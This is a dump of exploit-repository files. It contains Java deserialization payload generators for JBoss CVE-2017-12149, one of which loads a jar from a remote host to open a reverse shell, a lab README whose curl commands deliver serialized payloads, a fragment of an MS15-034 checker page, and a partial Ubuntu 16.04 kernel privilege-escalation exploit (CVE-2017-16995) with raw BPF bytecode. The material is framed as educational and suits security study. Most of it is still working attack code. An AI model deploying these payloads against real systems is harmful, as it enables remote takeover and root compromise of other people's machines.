133 |
134 |
135 |
174 |
175 |
176 |
177 |
178 | HTTP.sys 堆栈漏洞测试
179 | 输入一个URL或主机名来测试服务器的 MS15-034 / CVE-2015-1635.
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 | 在HTTP协议栈(HTTP.sys)造成当HTTP协议堆栈不正确地分析特制的HTTP请求的远程代码执行漏洞。成功利用此漏洞谁的攻击者可以在系统帐户的上下文中执行任意代码。
188 | 要利用此漏洞,攻击者必须发送一个特制的HTTP请求发送到受影响的系统。此更新通过修改Windows HTTP协议栈处理请求解决该漏洞。
189 |
190 |
191 |
197 |
198 |
199 |
200 | 使用Memcached分布式内存对象缓存系统 | 所有的结果查询会被缓存五分钟
201 |
202 |
203 |
--------------------------------------------------------------------------------
/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/DnsWithCommonsCollections.java:
--------------------------------------------------------------------------------
1 | import org.apache.commons.collections.Transformer;
2 | import org.apache.commons.collections.functors.ChainedTransformer;
3 | import org.apache.commons.collections.functors.ConstantTransformer;
4 | import org.apache.commons.collections.functors.InvokerTransformer;
5 | import org.apache.commons.collections.map.LazyMap;
6 |
7 | import java.io.FileNotFoundException;
8 | import java.io.FileOutputStream;
9 | import java.io.IOException;
10 | import java.io.ObjectOutputStream;
11 | import java.lang.annotation.Retention;
12 | import java.lang.reflect.Constructor;
13 | import java.lang.reflect.InvocationHandler;
14 | import java.lang.reflect.InvocationTargetException;
15 | import java.lang.reflect.Proxy;
16 | import java.net.URL;
17 | import java.util.HashMap;
18 | import java.util.Map;
19 |
20 | /**
21 | * Gera payload com gadget chain para realizar um HTTP GET em um endereço
22 | * controlado pelo testador. Se for usado um domínio "hospedado" pelo testador,
23 | * pode-se validar se o payload foi executado ao verificar os logs do servico DNS.
24 | * Note que esse payload requer que a commons-collections vulnerável esteja
25 | * disponível no classpath (<= 3.2.1), bem como a AnnotationInvocationHandler do JRE < 8u72
26 | * Há outro payload, desenvolvido por Gabriel Lawrence, que permite forçar uma
27 | * consulta DNS usufruindo apenas das classes URL e HashMap (que são serializáves).
28 | *
29 | * -----------------------------------------------------------------------
30 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
31 | * https://www.h2hc.com.br/revista/
32 | * -----------------------------------------------------------------------
33 | *
34 | * OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
35 | * transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
36 | *
37 | **** USAGE ****
38 | *
39 | * Compilando:
40 | * $ javac -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections.java
41 | *
42 | * Executando
43 | * $ java -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections http://www.your_domain.com
44 | *
45 | * @author @joaomatosf
46 | */
47 | public class DnsWithCommonsCollections {
48 | @SuppressWarnings ( {"unchecked"} )
49 | public static void main(String[] args)
50 | throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
51 | IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
52 |
53 | String url = args[0];
54 | // Cria array de transformers que resulta na seguinte construção:
55 | // new URL(url).openConnection().getInputStream().read();
56 | Transformer[] transformers = new Transformer[] {
57 | new ConstantTransformer(new URL(url)),
58 | new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}),
59 | new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}),
60 | new InvokerTransformer("read", new Class[] {}, new Object[] {})
61 | };
62 |
63 | // Cria o objeto ChainedTransformer com o array de Transformers:
64 | Transformer transformerChain = new ChainedTransformer(transformers);
65 | // Cria o map
66 | Map map = new HashMap();
67 | // Decora o map com o LazyMap e a cadeia de transformações como factory
68 | Map lazyMap = LazyMap.decorate(map,transformerChain);
69 |
70 | // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
71 | Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
72 | // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
73 | Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
74 | // Torna o construtor acessível
75 | ctor.setAccessible(true);
76 | // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
77 | // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
78 | // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
79 | InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
80 |
81 | //criado a interface map
82 | Class[] interfaces = new Class[] {java.util.Map.class};
83 | // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
84 | Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
85 |
86 | // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
87 | // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
88 | // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
89 | InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
90 |
91 | // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
92 | // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
93 | // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
94 | // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
95 | System.out.println("Saving serialized object in SleepExample.ser");
96 | FileOutputStream fos = new FileOutputStream("SleepExample.ser");
97 | ObjectOutputStream oos = new ObjectOutputStream(fos);
98 | oos.writeObject(handlerProxy);
99 | oos.flush();
100 |
101 | }
102 |
103 | }
--------------------------------------------------------------------------------
/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/SleepExample.java:
--------------------------------------------------------------------------------
1 | import org.apache.commons.collections.Transformer;
2 | import org.apache.commons.collections.functors.ChainedTransformer;
3 | import org.apache.commons.collections.functors.ConstantTransformer;
4 | import org.apache.commons.collections.functors.InvokerTransformer;
5 | import org.apache.commons.collections.map.LazyMap;
6 |
7 | import java.io.*;
8 | import java.lang.*;
9 | import java.lang.annotation.Retention;
10 | import java.lang.reflect.Constructor;
11 | import java.lang.reflect.InvocationHandler;
12 | import java.lang.reflect.InvocationTargetException;
13 | import java.lang.reflect.Proxy;
14 | import java.util.*;
15 | /**
16 | * Gera payload com gadget chain para forçar um Sleep na aplicação.
17 | * Note que esse payload requer que a commons-collections vulnerável esteja
18 | * disponível no classpath (<= 3.2.1) e deverá funcionar em sistemas com
19 | * JRE < 8u72. Em versões maiores, deve-se usufruir de outro gadget como trigger
20 | * (eg. BadAttributeValueExpException ou HashMap + TiedMapEntry).
21 | *
22 | * -----------------------------------------------------------------------
23 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
24 | * https://www.h2hc.com.br/revista/
25 | * -----------------------------------------------------------------------
26 | *
27 | * OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
28 | * transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
29 | *
30 | **** USAGE ****
31 | *
32 | * Compilando:
33 | * $ javac -cp .:commons-collections-3.2.1.jar SleepExample.java
34 | *
35 | * Executando
36 | * $ java -cp .:commons-collections-3.2.1.jar SleepExample
37 | *
38 | *
39 | * @author @joaomatosf
40 | */
41 | public class SleepExample {
42 | @SuppressWarnings ( {"unchecked"} )
43 | public static void main(String[] args)
44 | throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
45 | IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
46 |
47 | // Cria array de Transformers que irá resultar na seguinte construção:
48 | //Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L});
49 | Transformer[] transformers = new Transformer[] {
50 | new ConstantTransformer(Thread.class), // retorna class Thread.class
51 | // 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE})
52 | new InvokerTransformer(
53 | "getMethod", // invoca método getMethod
54 | ( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[])
55 | ( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE})
56 | ),
57 | // 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L})
58 | new InvokerTransformer(
59 | "invoke", // invoca método: invoke
60 | (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
61 | (new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L})
62 | )
63 | };
64 |
65 | // Cria o objeto ChainedTransformer com o array de Transformers:
66 | Transformer transformerChain = new ChainedTransformer(transformers);
67 | // Cria o map
68 | Map map = new HashMap();
69 | // Decora o map com o LazyMap e a cadeia de transformações como factory
70 | Map lazyMap = LazyMap.decorate(map,transformerChain);
71 |
72 | // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
73 | Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
74 | // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
75 | Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
76 | // Torna o construtor acessível
77 | ctor.setAccessible(true);
78 | // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
79 | // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
80 | // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
81 | InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
82 |
83 | //cria a interface map
84 | Class[] interfaces = new Class[] {java.util.Map.class};
85 | // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
86 | Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
87 |
88 | // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
89 | // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
90 | // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
91 | InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
92 |
93 | // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
94 | // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
95 | // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
96 | // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
97 | System.out.println("Saving serialized object in SleepExample.ser");
98 | FileOutputStream fos = new FileOutputStream("SleepExample.ser");
99 | ObjectOutputStream oos = new ObjectOutputStream(fos);
100 | oos.writeObject(handlerProxy);
101 | oos.flush();
102 |
103 | }
104 |
105 | }
--------------------------------------------------------------------------------
/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ReverseShellCommonsCollectionsHashMap.java:
--------------------------------------------------------------------------------
1 | import org.apache.commons.collections.Transformer;
2 | import org.apache.commons.collections.functors.ChainedTransformer;
3 | import org.apache.commons.collections.functors.ConstantTransformer;
4 | import org.apache.commons.collections.functors.InstantiateTransformer;
5 | import org.apache.commons.collections.functors.InvokerTransformer;
6 | import org.apache.commons.collections.keyvalue.TiedMapEntry;
7 | import org.apache.commons.collections.map.LazyMap;
8 |
9 | import java.io.*;
10 | import java.lang.reflect.*;
11 | import java.net.URL;
12 | import java.net.URLClassLoader;
13 | import java.util.HashMap;
14 | import java.util.HashSet;
15 | import java.util.Map;
16 |
17 | /**
18 | * Gera payload com gadget chain para carregar e executar uma classe remota
19 | * (hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
20 | * do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
21 | * a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
22 | * Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
23 | * o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
24 | * de um LazyMap decorado com a ChainedTransformers.
25 | * Esse trigger (HashMap+TiedMapEntry) foi proposto por Matthias Kaiser.
26 | *
27 | *
28 | * -----------------------------------------------------------------------
29 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
30 | * https://www.h2hc.com.br/revista/
31 | * -----------------------------------------------------------------------
32 | *
33 | * OBS: Esse código tem fins apenas didáticos.
34 | *
35 | **** USAGE ****
36 | *
37 | * Compilando:
38 | * $ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
39 | *
40 | * Executando
41 | * $ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap SEU_IP:SUA_PORTA
42 | *
43 | * @author @joaomatosf
44 | */
45 | public class ReverseShellCommonsCollectionsHashMap {
46 | @SuppressWarnings ( {"unchecked"} )
47 | public static void main(String[] args)
48 | throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
49 | IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException {
50 |
51 | String remoteJar = "http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar";
52 | String host = null;
53 | int port = 1331;
54 |
55 | // Verifica se o usuário forneceu o comando a ser executado
56 | if (args.length != 1 || args[0].split(":").length != 2 ) {
57 | System.out.println("Invalid params! \n" +
58 | "Example usage: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap \"REMOTE_IP:PORT\"");
59 | System.exit(1);
60 | }
61 | host = args[0].split(":")[0];
62 | port = Integer.parseInt(args[0].split(":")[1]);
63 |
64 | Transformer[] transformers = new Transformer[] {
65 |
66 | new ConstantTransformer(URLClassLoader.class),
67 | new InstantiateTransformer(
68 | new Class[]{
69 | URL[].class
70 | },
71 | new Object[]{
72 | new URL[]{new URL(remoteJar)}
73 | }),
74 | new InvokerTransformer("loadClass",
75 | new Class[]{
76 | String.class
77 | },
78 | new Object[]{
79 | "JexReverse"
80 | }),
81 | new InstantiateTransformer(
82 | new Class[]{ String.class, int.class },
83 | new Object[]{ host, port }
84 | )
85 | };
86 |
87 | // Cria o objeto ChainedTransformer com o array de Transformers:
88 | Transformer transformerChain = new ChainedTransformer(transformers);
89 | // Cria o map
90 | Map map1 = new HashMap();
91 | // Decora o map com o LazyMap e a cadeia de transformações como factory
92 | Map lazyMap = LazyMap.decorate(map1,transformerChain);
93 |
94 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
95 |
96 | HashSet map = new HashSet(1);
97 | map.add("foo");
98 | Field f = null;
99 | try {
100 | f = HashSet.class.getDeclaredField("map");
101 | } catch (NoSuchFieldException e) {
102 | f = HashSet.class.getDeclaredField("backingMap");
103 | }
104 |
105 | f.setAccessible(true);
106 | HashMap innimpl = (HashMap) f.get(map);
107 |
108 | Field f2 = null;
109 | try {
110 | f2 = HashMap.class.getDeclaredField("table");
111 | } catch (NoSuchFieldException e) {
112 | f2 = HashMap.class.getDeclaredField("elementData");
113 | }
114 |
115 | f2.setAccessible(true);
116 | Object[] array = (Object[]) f2.get(innimpl);
117 |
118 | Object node = array[0];
119 | if(node == null){
120 | node = array[1];
121 | }
122 |
123 | Field keyField = null;
124 | try{
125 | keyField = node.getClass().getDeclaredField("key");
126 | }catch(Exception e){
127 | keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
128 | }
129 |
130 | keyField.setAccessible(true);
131 | keyField.set(node, entry);
132 |
133 | // Serializa o objeto
134 | System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser");
135 | FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser");
136 | ObjectOutputStream oos = new ObjectOutputStream(fos);
137 | oos.writeObject(map);
138 | oos.flush();
139 |
140 |
141 | }
142 |
143 | }
144 |
--------------------------------------------------------------------------------
/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/README.md:
--------------------------------------------------------------------------------
1 | # Lab for Java Deserialization Vulnerabilities
2 |
3 | This content is related to the paper written for the 12th edition of H2HC magazine.
4 | See full paper in: https://www.h2hc.com.br/revista/
5 |
6 | Slides and video of the talk will be available soon.
7 |
8 | >Um overview sobre as bases das falhas de desserialização nativa em ambientes Java (JVM)
9 |
10 | >An overview of deserialization vulnerabilities in the Java Virtual Machine (JVM)
11 |
12 | Content
13 | --
14 | The lab contains code samples that help you understand deserialization vulnerabilities and how gadget chains exploit them.
15 | The goal is to provide a better understanding so that you can develop new payloads and/or better design your environments.
16 |
17 | There is also a vulnerable testing application (VulnerableHTTPServer.java), which helps you test your payloads.
18 |
19 | Slides
20 | --
21 |
22 | [](https://www.slideshare.net/joaomatosf_/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017)
23 |
24 |
25 | Examples (PoC's)
26 | ------
27 |
28 | * PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer (https://access.redhat.com/security/cve/cve-2017-7504)
29 |
30 | [](https://www.youtube.com/watch?v=jVMr4eeJ2Po)
31 |
32 | * PoC CVE-2017-12149 - JBoss 6.X and EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149)
33 |
34 | [](https://www.youtube.com/watch?v=JIWMItSA8l0)
35 |
36 | * PoC Exploiting struts2-rest XStream Deserialization with Reverse Shell
37 |
38 | [](https://www.youtube.com/watch?v=IrZOlqio0nw)
39 |
40 |
41 | Lab Usage Examples
42 | --
43 | First of all you need to read the full paper. Then review the sample codes and use the vulnerable testing application to understand how payloads work.
44 |
45 | ***Getting JDK***
46 |
47 | If you dont want to go to the Oracle page and register, you can download the JDK directly from me in: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/
48 |
49 | As **root**, run:
50 | ```
51 | # cd /opt
52 | # curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
53 | # tar zxvf jdk-8u20-linux-x64.tar.gz
54 | # rm -rf /usr/bin/java*
55 | # ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
56 | # java -version
57 | java version "1.8.0_20"
58 | ```
59 |
60 |
61 | ***Getting codes:***
62 |
63 | ```
64 | $ git clone https://github.com/joaomatosf/JavaDeserH2HC.git
65 | $ cd JavaDeserH2HC
66 | ```
67 |
68 | ***Compiling and executing Vulnerable Web Application:***
69 |
70 | ```
71 | $ javac VulnerableHTTPServer.java -XDignore.symbol.file
72 | $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
73 | ```
74 |
75 |
76 | ```
77 | * =============================================================== *
78 | * Simple Java HTTP Server for Deserialization Lab v0.01 *
79 | * https://github.com/joaomatosf/JavaDeserH2HC *
80 | * =============================================================== *
81 | You can inject java serialized objects in the following formats:
82 |
83 | 1) Binary in HTTP POST (ie \xAC\xED). Ex:
84 | $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser
85 |
86 | 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:
87 | $ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..."
88 | $ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..."
89 |
90 | 3) Base64 or Gzip+Base64 in cookies. Ex:
91 | $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..."
92 | $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..."
93 |
94 | 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:
95 | $ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg...
96 |
97 | 5) XML for XStream RCE vulnerability/serialization. Ex:
98 | $ curl 127.0.0.1:8000 -d @file.xml
99 |
100 | OBS: To test gadgets in specific libraries, run with -cp param. Ex:
101 | $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
102 | ==================================================================
103 |
104 | JRE Version: 1.8.0_77
105 | [INFO]: Listening on port 8000
106 | ```
107 |
108 | ***Testing payloads***
109 |
110 | Compiling example1 that works in applications with commons-collections3.2.1 in the classpath and JRE < 8u72:
111 |
112 | ```
113 | $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
114 | ```
115 |
116 | Generating payload:
117 |
118 | ```
119 | $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
120 | Saving serialized object in ExampleCommonsCollections1.ser
121 | ```
122 |
123 | Exploiting vulnerable server:
124 |
125 | Sending the payload in binary format via HTTP POST:
126 | ```
127 | $ rm -rf /tmp/h2hc_2017
128 | $ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser
129 | Data deserialized!
130 | $ ls -all /tmp/h2hc_2017
131 | -rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017
132 | ```
133 |
134 | Sending the payload in Gzip+Base64 format via HTTP Cookies:
135 | ```
136 | $ rm -rf /tmp/h2hc_2017
137 | $ gzip ExampleCommonsCollections1.ser
138 | $ base64 -w0 ExampleCommonsCollections1.ser.gz
139 | $ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA"
140 | Data deserialized!
141 | $ ls -all /tmp/h2hc_2017
142 | -rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017
143 | ```
--------------------------------------------------------------------------------
/CVE_EXP/CVE-2017-16995 Ubuntu 16.04 本地提权漏洞/upstream44.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Ubuntu 16.04.4 kernel priv esc
3 | *
4 | * all credits to @bleidl
5 | * - vnik
6 | */
7 |
8 | // Tested on:
9 | // 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
10 | // if different kernel adjust CRED offset + check kernel stack size
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 |
26 | #define PHYS_OFFSET 0xffff880000000000
27 | #define CRED_OFFSET 0x5f8
28 | #define UID_OFFSET 4
29 | #define LOG_BUF_SIZE 65536
30 | #define PROGSIZE 328
31 |
32 | int sockets[2];
33 | int mapfd, progfd;
34 |
35 | char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
36 | "\x55\x09\x02\x00\xff\xff\xff\xff"
37 | "\xb7\x00\x00\x00\x00\x00\x00\x00"
38 | "\x95\x00\x00\x00\x00\x00\x00\x00"
39 | "\x18\x19\x00\x00\x03\x00\x00\x00"
40 | "\x00\x00\x00\x00\x00\x00\x00\x00"
41 | "\xbf\x91\x00\x00\x00\x00\x00\x00"
42 | "\xbf\xa2\x00\x00\x00\x00\x00\x00"
43 | "\x07\x02\x00\x00\xfc\xff\xff\xff"
44 | "\x62\x0a\xfc\xff\x00\x00\x00\x00"
45 | "\x85\x00\x00\x00\x01\x00\x00\x00"
46 | "\x55\x00\x01\x00\x00\x00\x00\x00"
47 | "\x95\x00\x00\x00\x00\x00\x00\x00"
48 | "\x79\x06\x00\x00\x00\x00\x00\x00"
49 | "\xbf\x91\x00\x00\x00\x00\x00\x00"
50 | "\xbf\xa2\x00\x00\x00\x00\x00\x00"
51 | "\x07\x02\x00\x00\xfc\xff\xff\xff"
52 | "\x62\x0a\xfc\xff\x01\x00\x00\x00"
53 | "\x85\x00\x00\x00\x01\x00\x00\x00"
54 | "\x55\x00\x01\x00\x00\x00\x00\x00"
55 | "\x95\x00\x00\x00\x00\x00\x00\x00"
56 | "\x79\x07\x00\x00\x00\x00\x00\x00"
57 | "\xbf\x91\x00\x00\x00\x00\x00\x00"
58 | "\xbf\xa2\x00\x00\x00\x00\x00\x00"
59 | "\x07\x02\x00\x00\xfc\xff\xff\xff"
60 | "\x62\x0a\xfc\xff\x02\x00\x00\x00"
61 | "\x85\x00\x00\x00\x01\x00\x00\x00"
62 | "\x55\x00\x01\x00\x00\x00\x00\x00"
63 | "\x95\x00\x00\x00\x00\x00\x00\x00"
64 | "\x79\x08\x00\x00\x00\x00\x00\x00"
65 | "\xbf\x02\x00\x00\x00\x00\x00\x00"
66 | "\xb7\x00\x00\x00\x00\x00\x00\x00"
67 | "\x55\x06\x03\x00\x00\x00\x00\x00"
68 | "\x79\x73\x00\x00\x00\x00\x00\x00"
69 | "\x7b\x32\x00\x00\x00\x00\x00\x00"
70 | "\x95\x00\x00\x00\x00\x00\x00\x00"
71 | "\x55\x06\x02\x00\x01\x00\x00\x00"
72 | "\x7b\xa2\x00\x00\x00\x00\x00\x00"
73 | "\x95\x00\x00\x00\x00\x00\x00\x00"
74 | "\x7b\x87\x00\x00\x00\x00\x00\x00"
75 | "\x95\x00\x00\x00\x00\x00\x00\x00";
76 |
77 | char bpf_log_buf[LOG_BUF_SIZE];
78 |
79 | static int bpf_prog_load(enum bpf_prog_type prog_type,
80 | const struct bpf_insn *insns, int prog_len,
81 | const char *license, int kern_version) {
82 | union bpf_attr attr = {
83 | .prog_type = prog_type,
84 | .insns = (__u64)insns,
85 | .insn_cnt = prog_len / sizeof(struct bpf_insn),
86 | .license = (__u64)license,
87 | .log_buf = (__u64)bpf_log_buf,
88 | .log_size = LOG_BUF_SIZE,
89 | .log_level = 1,
90 | };
91 |
92 | attr.kern_version = kern_version;
93 |
94 | bpf_log_buf[0] = 0;
95 |
96 | return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
97 | }
98 |
99 | static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
100 | int max_entries) {
101 | union bpf_attr attr = {
102 | .map_type = map_type,
103 | .key_size = key_size,
104 | .value_size = value_size,
105 | .max_entries = max_entries
106 | };
107 |
108 | return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
109 | }
110 |
111 | static int bpf_update_elem(uint64_t key, uint64_t value) {
112 | union bpf_attr attr = {
113 | .map_fd = mapfd,
114 | .key = (__u64)&key,
115 | .value = (__u64)&value,
116 | .flags = 0,
117 | };
118 |
119 | return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
120 | }
121 |
122 | static int bpf_lookup_elem(void *key, void *value) {
123 | union bpf_attr attr = {
124 | .map_fd = mapfd,
125 | .key = (__u64)key,
126 | .value = (__u64)value,
127 | };
128 |
129 | return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
130 | }
131 |
132 | static void __exit(char *err) {
133 | fprintf(stderr, "error: %s\n", err);
134 | exit(-1);
135 | }
136 |
137 | static void prep(void) {
138 | mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
139 | if (mapfd < 0)
140 | __exit(strerror(errno));
141 |
142 | progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
143 | (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
144 |
145 | if (progfd < 0)
146 | __exit(strerror(errno));
147 |
148 | if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
149 | __exit(strerror(errno));
150 |
151 | if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
152 | __exit(strerror(errno));
153 | }
154 |
155 | static void writemsg(void) {
156 | char buffer[64];
157 |
158 | ssize_t n = write(sockets[0], buffer, sizeof(buffer));
159 |
160 | if (n < 0) {
161 | perror("write");
162 | return;
163 | }
164 | if (n != sizeof(buffer))
165 | fprintf(stderr, "short write: %lu\n", n);
166 | }
167 |
168 | #define __update_elem(a, b, c) \
169 | bpf_update_elem(0, (a)); \
170 | bpf_update_elem(1, (b)); \
171 | bpf_update_elem(2, (c)); \
172 | writemsg();
173 |
174 | static uint64_t get_value(int key) {
175 | uint64_t value;
176 |
177 | if (bpf_lookup_elem(&key, &value))
178 | __exit(strerror(errno));
179 |
180 | return value;
181 | }
182 |
